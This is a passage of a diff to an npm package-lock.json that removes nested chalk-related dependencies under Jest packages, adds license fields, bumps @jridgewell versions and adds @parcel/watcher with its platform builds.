-      }
-    },
-    "node_modules/@jest/core/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@jest/core/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/@jest/core/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/@jest/core/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@jest/environment": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz",
       "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==",
+      "license": "MIT",
       "dependencies": {
         "@jest/fake-timers": "^27.5.1",
         "@jest/types": "^27.5.1",
@@ -2778,6 +2734,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz",
       "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "@sinonjs/fake-timers": "^8.0.1",
@@ -2794,6 +2751,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz",
       "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==",
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^27.5.1",
         "@jest/types": "^27.5.1",
@@ -2807,6 +2765,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz",
       "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==",
+      "license": "MIT",
       "dependencies": {
         "@bcoe/v8-coverage": "^0.2.3",
         "@jest/console": "^27.5.1",
@@ -2846,82 +2805,20 @@
         }
       }
     },
-    "node_modules/@jest/reporters/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/@jest/reporters/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/@jest/reporters/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@jest/reporters/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/@jest/reporters/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@jest/reporters/node_modules/source-map": {
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
     },
-    "node_modules/@jest/reporters/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@jest/schemas": {
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-28.1.3.tgz",
       "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==",
+      "license": "MIT",
       "dependencies": {
         "@sinclair/typebox": "^0.24.1"
       },
@@ -2933,6 +2830,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz",
       "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==",
+      "license": "MIT",
       "dependencies": {
         "callsites": "^3.0.0",
         "graceful-fs": "^4.2.9",
@@ -2946,6 +2844,7 @@
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -2954,6 +2853,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz",
       "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==",
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^27.5.1",
         "@jest/types": "^27.5.1",
@@ -2968,6 +2868,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz",
       "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/test-result": "^27.5.1",
         "graceful-fs": "^4.2.9",
@@ -2982,6 +2883,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz",
       "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.1.0",
         "@jest/types": "^27.5.1",
@@ -3003,87 +2905,26 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/@jest/transform/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/@jest/transform/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/@jest/transform/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@jest/transform/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
     "node_modules/@jest/transform/node_modules/convert-source-map": {
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
-      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A=="
-    },
-    "node_modules/@jest/transform/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
+      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
+      "license": "MIT"
     },
     "node_modules/@jest/transform/node_modules/source-map": {
       "version": "0.6.1",
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
     },
-    "node_modules/@jest/transform/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@jest/types": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
       "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "license": "MIT",
       "dependencies": {
         "@types/istanbul-lib-coverage": "^2.0.0",
         "@types/istanbul-reports": "^3.0.0",
@@ -3095,131 +2936,62 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/@jest/types/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/@jest/types/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/@jest/types/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@jest/types/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/@jest/types/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/@jest/types/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@jridgewell/gen-mapping": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
-      "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+      "version": "0.3.12",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz",
+      "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==",
+      "license": "MIT",
       "dependencies": {
-        "@jridgewell/set-array": "^1.0.1",
-        "@jridgewell/sourcemap-codec": "^1.4.10",
-        "@jridgewell/trace-mapping": "^0.3.9"
-      },
-      "engines": {
-        "node": ">=6.0.0"
+        "@jridgewell/sourcemap-codec": "^1.5.0",
+        "@jridgewell/trace-mapping": "^0.3.24"
       }
     },
     "node_modules/@jridgewell/resolve-uri": {
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
       "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
-      "engines": {
-        "node": ">=6.0.0"
-      }
-    },
-    "node_modules/@jridgewell/set-array": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
-      "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.0.0"
       }
     },
     "node_modules/@jridgewell/source-map": {
-      "version": "0.3.5",
-      "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz",
-      "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==",
+      "version": "0.3.10",
+      "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.10.tgz",
+      "integrity": "sha512-0pPkgz9dY+bijgistcTTJ5mR+ocqRXLuhXHYdzoMmmoJ2C9S46RCm2GMUbatPEUK9Yjy26IrAy8D/M00lLkv+Q==",
+      "license": "MIT",
       "dependencies": {
-        "@jridgewell/gen-mapping": "^0.3.0",
-        "@jridgewell/trace-mapping": "^0.3.9"
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.25"
       }
     },
     "node_modules/@jridgewell/sourcemap-codec": {
-      "version": "1.4.15",
-      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
-      "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg=="
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz",
+      "integrity": "sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==",
+      "license": "MIT"
     },
     "node_modules/@jridgewell/trace-mapping": {
-      "version": "0.3.22",
-      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.22.tgz",
-      "integrity": "sha512-Wf963MzWtA2sjrNt+g18IAln9lKnlRp+K2eH4jjIoF1wYeq3aMREpG09xhlhdzS0EjwU7qmUJYangWa+151vZw==",
+      "version": "0.3.29",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz",
+      "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==",
+      "license": "MIT",
       "dependencies": {
         "@jridgewell/resolve-uri": "^3.1.0",
         "@jridgewell/sourcemap-codec": "^1.4.14"
       }
     },
     "node_modules/@leichtgewicht/ip-codec": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz",
-      "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A=="
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.5.tgz",
+      "integrity": "sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==",
+      "license": "MIT"
     },
     "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": {
       "version": "5.1.1-v1",
       "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz",
       "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==",
+      "license": "MIT",
       "dependencies": {
         "eslint-scope": "5.1.1"
       }
@@ -3228,6 +3000,7 @@
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
       "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esrecurse": "^4.3.0",
         "estraverse": "^4.1.1"
@@ -3240,6 +3013,7 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
       "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
@@ -3248,6 +3022,7 @@
       "version": "2.1.5",
       "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
       "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+      "license": "MIT",
       "dependencies": {
         "@nodelib/fs.stat": "2.0.5",
         "run-parallel": "^1.1.9"
@@ -3260,6 +3035,7 @@
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
       "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+      "license": "MIT",
       "engines": {
         "node": ">= 8"
       }
@@ -3268,6 +3044,7 @@
       "version": "1.2.8",
       "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
       "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+      "license": "MIT",
       "dependencies": {
         "@nodelib/fs.scandir": "2.1.5",
         "fastq": "^1.6.0"
@@ -3276,28 +3053,324 @@
         "node": ">= 8"
       }
     },
+    "node_modules/@parcel/watcher": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.1.tgz",
+      "integrity": "sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==",
+      "hasInstallScript": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "detect-libc": "^1.0.3",
+        "is-glob": "^4.0.3",
+        "micromatch": "^4.0.5",
+        "node-addon-api": "^7.0.0"
+      },
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      },
+      "optionalDependencies": {
+        "@parcel/watcher-android-arm64": "2.5.1",
+        "@parcel/watcher-darwin-arm64": "2.5.1",
+        "@parcel/watcher-darwin-x64": "2.5.1",
+        "@parcel/watcher-freebsd-x64": "2.5.1",
+        "@parcel/watcher-linux-arm-glibc": "2.5.1",
+        "@parcel/watcher-linux-arm-musl": "2.5.1",
+        "@parcel/watcher-linux-arm64-glibc": "2.5.1",
+        "@parcel/watcher-linux-arm64-musl": "2.5.1",
+        "@parcel/watcher-linux-x64-glibc": "2.5.1",
+        "@parcel/watcher-linux-x64-musl": "2.5.1",
+        "@parcel/watcher-win32-arm64": "2.5.1",
+        "@parcel/watcher-win32-ia32": "2.5.1",
+        "@parcel/watcher-win32-x64": "2.5.1"
+      }
+    },
+    "node_modules/@parcel/watcher-android-arm64": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz",
+      "integrity": "sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-darwin-arm64": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz",
+      "integrity": "sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-darwin-x64": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz",
+      "integrity": "sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-freebsd-x64": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz",
+      "integrity": "sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-linux-arm-glibc": {
+      "version": "2.5.1",
+      "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz",
+      "integrity": "sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==",
+      "cpu": [
+        "arm"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">= 10.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/parcel"
+      }
+    },
+    "node_modules/@parcel/watcher-linux-arm-musl": {
